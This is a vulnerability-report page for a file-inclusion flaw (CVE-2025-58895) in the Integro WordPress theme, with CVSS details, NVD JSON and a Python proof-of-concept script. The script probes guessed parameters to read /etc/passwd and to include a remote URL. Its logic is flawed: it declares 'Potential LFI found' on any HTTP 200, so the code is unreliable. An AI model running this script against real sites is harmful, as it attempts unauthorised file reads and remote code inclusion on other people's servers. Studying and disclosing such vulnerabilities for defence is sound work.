Security Vulnerability Report
中文
CVE-2025-58895 CVSS 8.1 HIGH

CVE-2025-58895

Published: 2025-12-18 08:15:59
Last Modified: 2026-04-27 19:16:17

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Integro integro allows PHP Local File Inclusion.This issue affects Integro: from n/a through <= 1.8.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:integro:*:*:*:*:*:wordpress:*:* - VULNERABLE
AncoraThemes Integro <= 1.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58895 PoC - Integro Theme LFI/RFI # Environment: WordPress with Integro Theme <= 1.8.0 import requests import argparse def test_lfi(target_url, file_path='/etc/passwd'): """Test Local File Inclusion vulnerability""" # Common vulnerable parameter patterns params = { 'template': file_path, 'page': file_path, 'file': file_path, 'include': file_path } for param_name, payload in params.items(): test_url = f"{target_url}/wp-content/themes/integro/" try: response = requests.get(test_url, params={param_name: payload}, timeout=10) if 'root:' in response.text or response.status_code == 200: print(f"[+] Potential LFI found with parameter: {param_name}") print(f"[+] Payload: {payload}") return True except requests.RequestException as e: print(f"[-] Error testing {param_name}: {e}") return False def test_rfi(target_url, remote_url): """Test Remote File Inclusion vulnerability""" params = { 'template': remote_url, 'page': remote_url } for param_name, payload in params.items(): test_url = f"{target_url}/wp-content/themes/integro/" try: response = requests.get(test_url, params={param_name: payload}, timeout=10) if response.status_code == 200: print(f"[+] RFI test with parameter: {param_name}") print(f"[+] Payload: {payload}") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-58895 PoC') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-f', '--file', default='/etc/passwd', help='Local file to read') parser.add_argument('-r', '--remote', help='Remote URL for RFI test') args = parser.parse_args() print(f"[*] Testing LFI on {args.url}") test_lfi(args.url, args.file) if args.remote: print(f"[*] Testing RFI on {args.url}") test_rfi(args.url, args.remote)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58895", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:58.823", "lastModified": "2026-04-27T19:16:16.547", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Integro integro allows PHP Local File Inclusion.This issue affects Integro: from n/a through <= 1.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:integro:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.8.0", "matchCriteriaId": "58BA791B-6169-4A55-8176-403B061BB161"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/integro/vulnerability/wordpress-integro-theme-1-8-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}